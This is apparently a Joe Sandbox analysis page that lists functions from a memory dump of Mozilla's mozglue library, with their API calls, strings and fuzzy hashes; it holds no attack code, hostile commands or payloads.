Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 30d8b49e1e64e496d4e4562417ebb147a30739dcc9126ee2b654caf5f4c0ef3a
Instruction ID: 917de9a7a295d63a8a1a184b550319a10f23a863452cabc603b53c1c965a221a
Opcode Fuzzy Hash: 30d8b49e1e64e496d4e4562417ebb147a30739dcc9126ee2b654caf5f4c0ef3a
Instruction Fuzzy Hash: 0FE07571605701ABDB007BA7D8C8B057AF8E78625CF10D025AA0591A11DAB88052CF1E

Function 6C627600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C627592), ref: 6C627608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C627627
FreeLibrary.KERNEL32(?,6C627592), ref: 6C62763C

Strings

NtUnmapViewOfSection, xrefs: 6C627621
ntdll.dll, xrefs: 6C627603

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 49cd289dc3fbd1d0b9910f51bb559a60ee015c177d7702e3a23357158805ba77
Instruction ID: c3e3ae5926acd739f127697a6a4915de4cb8f307b8072c974ab6a4569f5e7a5f
Opcode Fuzzy Hash: 49cd289dc3fbd1d0b9910f51bb559a60ee015c177d7702e3a23357158805ba77
Instruction Fuzzy Hash: 27E092B4605701ABDF007FA7E898F457EB9E79A39DF01D115EA05D1A11EBB980018F1E

Function 6C62BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C62BE49), ref: 6C62BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C62BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C62BE49), ref: 6C62BF38
RtlReAllocateHeap.NTDLL ref: 6C62BF83
RtlFreeHeap.NTDLL ref: 6C62BFA6

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: f1f3b3601924456a86a7552d08daee096d77e54a34359b6658c92c82b3ee2380
Instruction ID: 5e882d05222dcc063640c8223fab147d1a754bcbd095adbf9eb79b2abf60190a
Opcode Fuzzy Hash: f1f3b3601924456a86a7552d08daee096d77e54a34359b6658c92c82b3ee2380
Instruction Fuzzy Hash: F4518071A002158FE720CF69C980B9AB7A2FFC9314F298629D556A7B94D734F9068F84

Function 6C618E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C60B58D,?,?,?,?,?,?,?,6C63D734,?,?,?,6C63D734), ref: 6C618E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C60B58D,?,?,?,?,?,?,?,6C63D734,?,?,?,6C63D734), ref: 6C618EBF
free.MOZGLUE(?,?,?,?,6C60B58D,?,?,?,?,?,?,?,6C63D734,?,?,?), ref: 6C618F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C60B58D,?,?,?,?,?,?,?,6C63D734,?,?,?,6C63D734), ref: 6C618F46
free.MOZGLUE(?,?,?,?,6C60B58D,?,?,?,?,?,?,?,6C63D734,?,?,?), ref: 6C618F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C60B58D,?,?,?,?,?,?,?,6C63D734,?,?,?), ref: 6C618F8F

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 782cba98f1fd2cf4816a2a7b47ff04d608eeb7286a6469011224e0f6e55a37a7
Instruction ID: 3e05e840ec3574453e91c3bf80e125e32c5adc089fa020850a516d7b6f3b27c3
Opcode Fuzzy Hash: 782cba98f1fd2cf4816a2a7b47ff04d608eeb7286a6469011224e0f6e55a37a7
Instruction Fuzzy Hash: 4B5108B1A042158FEB10CF68D88076E73B2FF8D349F16446AD916ABB50E732F904CB95

Function 6C5C4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5C4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5C4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5C4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5C4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C5C4F1E

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 601dfcbc2dcf077442291a653e8ca372b30806d1a349b22207e5759126657155
Instruction ID: 6be4cd0dc52f321e40c28df5c7c27ce7b4093a5a1b8b34b4f657424f1ee08a0e
Opcode Fuzzy Hash: 601dfcbc2dcf077442291a653e8ca372b30806d1a349b22207e5759126657155
Instruction Fuzzy Hash: B341CF716047059FC705CFA9C880D6BBBE4BF8A344F108A2DF46687741D770E958CB92

Function 6C5D1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C5D152B,?,?,?,?,6C5D1248,?), ref: 6C5D159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5D152B,?,?,?,?,6C5D1248,?), ref: 6C5D15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C5D152B,?,?,?,?,6C5D1248,?), ref: 6C5D15E7
free.MOZGLUE(?,?,?,?,?,?,6C5D152B,?,?,?,?,6C5D1248,?), ref: 6C5D1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C5D152B,?,?,?,?,6C5D1248,?), ref: 6C5D1637

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 301f2c45091f70b6f127bac6c57c3b172ef9a40aa4145edabfc707bb9a1ab02b
Instruction ID: ea3c87e106b52efb8932c47b90a2c8e3cf02fab15e58c978f63bcdfc6c409434
Opcode Fuzzy Hash: 301f2c45091f70b6f127bac6c57c3b172ef9a40aa4145edabfc707bb9a1ab02b
Instruction Fuzzy Hash: C731B571A002148BCB18CE7CDC5046F77A9AB853747260B69E427DBBD4EB30F9048799

Function 6C62AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C63E330,?,6C5EC059), ref: 6C62AD9D

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C63E330,?,6C5EC059), ref: 6C62ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C63E330,?,6C5EC059), ref: 6C62AE01
GetLastError.KERNEL32(?,00000000,?,?,6C63E330,?,6C5EC059), ref: 6C62AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C63E330,?,6C5EC059), ref: 6C62AE3D

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 66fd9493b73fef52ebb5b3c31a4a6d671fa55ad6d56a7dd366dfaf5c51822eb6
Instruction ID: 41751c7401ecb2d36266814ee83f08059e6ec9f429272db75513c1e5b4f388e4
Opcode Fuzzy Hash: 66fd9493b73fef52ebb5b3c31a4a6d671fa55ad6d56a7dd366dfaf5c51822eb6
Instruction Fuzzy Hash: DF3143B19003159FDB10DF758C44AABB7F8EF89714F158829E85AD7700E774A805CBA8

Function 6C625EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C63DCA0,?,?,?,6C5FE8B5,00000000), ref: 6C625F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5FE8B5,00000000), ref: 6C625F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C5FE8B5,00000000), ref: 6C625F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C5FE8B5,00000000), ref: 6C625F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5FE8B5,00000000), ref: 6C625FD6

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: d0c2ebec64f8d3216511bc1599234c0e54edef047e18bcb541f456785dfeae86
Instruction ID: 4627eefa38198e8ab0d4c455cacc0b2f5eb0702b6a88a0c58497a27cf5b47fef
Opcode Fuzzy Hash: d0c2ebec64f8d3216511bc1599234c0e54edef047e18bcb541f456785dfeae86
Instruction Fuzzy Hash: 1B31C934300A008FD724DF29C8D8A6AB7F9BF89319FA48558E5568BB99C735EC41CF94

Function 6C5CB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C5CB532
moz_xmalloc.MOZGLUE(?), ref: 6C5CB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5CB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C5CB57E
free.MOZGLUE(00000000), ref: 6C5CB58F

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 105945b913fb24082dcbc61b60f87cf07a4d71c53d550244d2540c594a299bc4
Instruction ID: 1cb3109b2fb7052d4671fa69d850a1f8efe7361b73bcbfc4d1a804cc92f35ae5
Opcode Fuzzy Hash: 105945b913fb24082dcbc61b60f87cf07a4d71c53d550244d2540c594a299bc4
Instruction Fuzzy Hash: EE21B971A002059BDB00DFA5CC40B6ABBB9FF85318F64416DE914DB341F775D915CBA2

Function 6C626E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C626E78

Part of subcall function 6C626A10: InitializeCriticalSection.KERNEL32(6C64F618), ref: 6C626A68
Part of subcall function 6C626A10: GetCurrentProcess.KERNEL32 ref: 6C626A7D
Part of subcall function 6C626A10: GetCurrentProcess.KERNEL32 ref: 6C626AA1
Part of subcall function 6C626A10: EnterCriticalSection.KERNEL32(6C64F618), ref: 6C626AAE
Part of subcall function 6C626A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C626AE1
Part of subcall function 6C626A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C626B15
Part of subcall function 6C626A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C626B65
Part of subcall function 6C626A10: LeaveCriticalSection.KERNEL32(6C64F618,?,?), ref: 6C626B83

MozFormatCodeAddress.MOZGLUE ref: 6C626EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C626EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C626EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C626EFF

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 0ff555f0ac71d1c835a62f2ab512025c3aa7bdceb56954891e0a466993afeb8b
Instruction ID: 779bbe58266bdca92aaf7e99a179174c43cc0affd74dec199996279633437937
Opcode Fuzzy Hash: 0ff555f0ac71d1c835a62f2ab512025c3aa7bdceb56954891e0a466993afeb8b
Instruction Fuzzy Hash: EF21B0B1A0421A8FCF10DF29D8C569E77F5EF84308F048039E80D97240EB749A598F96

Function 6C600D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C5C3DEF), ref: 6C600D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C5C3DEF), ref: 6C600D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C5C3DEF), ref: 6C600DAF

Strings

<jemalloc>, xrefs: 6C600D92, 6C600DB9
: (malloc) Error in VirtualFree(), xrefs: 6C600D97, 6C600DBE

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 099c4191da5ef3e2cf950c4c535b65cb462e0cd697d7eae25b832234df36f4d0
Instruction ID: 091e2f8cb37f7c82ec7ed77d396a009379597004c00f5f8551dec656f7f63b12
Opcode Fuzzy Hash: 099c4191da5ef3e2cf950c4c535b65cb462e0cd697d7eae25b832234df36f4d0
Instruction Fuzzy Hash: D1F080313C079423D7582D665E06B6A379D67C2B55F34C035F604FADC0DAA0E400C67D

Function 6C617620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6175C4,?), ref: 6C61762B

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6174D7,6C6215FC,?,?,?), ref: 6C617644
GetCurrentThreadId.KERNEL32 ref: 6C61765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6174D7,6C6215FC,?,?,?), ref: 6C617663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6174D7,6C6215FC,?,?,?), ref: 6C617677

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 0d891e73e6386eb1e628ec6dd9c2d17cf903fc433df08ed1737d73cec39d545d
Instruction ID: a198ff1556247dd7b30716fd8783c8ed0ee450216c1e2952227abdfd6df1263e
Opcode Fuzzy Hash: 0d891e73e6386eb1e628ec6dd9c2d17cf903fc433df08ed1737d73cec39d545d
Instruction Fuzzy Hash: 20F0C271E10B45ABD7009F32C888A7AB778FFEA299F128356F90443601E7B0B5D18BD0

Function 6C5ED468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

EnterCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED4F2
LeaveCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED50B

Part of subcall function 6C5CCFE0: EnterCriticalSection.KERNEL32(6C64E784), ref: 6C5CCFF6
Part of subcall function 6C5CCFE0: LeaveCriticalSection.KERNEL32(6C64E784), ref: 6C5CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED52E
EnterCriticalSection.KERNEL32(6C64E7DC), ref: 6C5ED690
LeaveCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED751

Strings

MOZ_CRASH(), xrefs: 6C5ED4BB

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 648b0c62094fff5cbba7bd47db1e0f0a3d6cee7ca5d2e2278e1026db14bc99b3
Instruction ID: 2b003cac30baf2af759a1fc2c1d4737b594f24eba15d151e9c9e47463cde73fe
Opcode Fuzzy Hash: 648b0c62094fff5cbba7bd47db1e0f0a3d6cee7ca5d2e2278e1026db14bc99b3
Instruction Fuzzy Hash: C951CF71A047018FD368DF29C89071AB7F2EBC9718F64C92ED5A9C7B85D770A804CB96

Function 6C614630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C614721

Strings

profiler-paused, xrefs: 6C6146E4
., xrefs: 6C61476A
-%llu, xrefs: 6C614733

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 4e72869a43525046bc15929df4ff3922cb4989ce995fe95ff4f7e3c4e375f15b
Instruction ID: 5ccffa35aee49df5151fdba71889ba0c52248405241b6e87a957d8a09c64373a
Opcode Fuzzy Hash: 4e72869a43525046bc15929df4ff3922cb4989ce995fe95ff4f7e3c4e375f15b
Instruction Fuzzy Hash: 11414971A086049BCB08DF7DD89116EB7F5EF86748F10C63DE8595BB41EB7098048795

Function 6C6146E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C614721

Part of subcall function 6C5C4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C603EBD,00000017,?,00000000,?,6C603EBD,?,?,6C5C42D2), ref: 6C5C4444

Strings

profiler-paused, xrefs: 6C6146E4
., xrefs: 6C61476A
-%llu, xrefs: 6C614733

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: ad9875ca6c944b5b89502b7abce35f0fbf53099b97fcc8a9ba828081582a450a
Instruction ID: 1bf1f99a2524b13bcb4bba384571099a1668b38775cade33a8fe308a6a67b1e8
Opcode Fuzzy Hash: ad9875ca6c944b5b89502b7abce35f0fbf53099b97fcc8a9ba828081582a450a
Instruction Fuzzy Hash: C4314B71F042088BCB0CDF6DD8816AEBBE6DBC9318F14853DE8059BB81EBB09C048B54

Function 6C61B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C603EBD,6C603EBD,00000000), ref: 6C5C42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C61B127), ref: 6C61B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C61B4E4

Strings

pid:, xrefs: 6C61B4DE

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
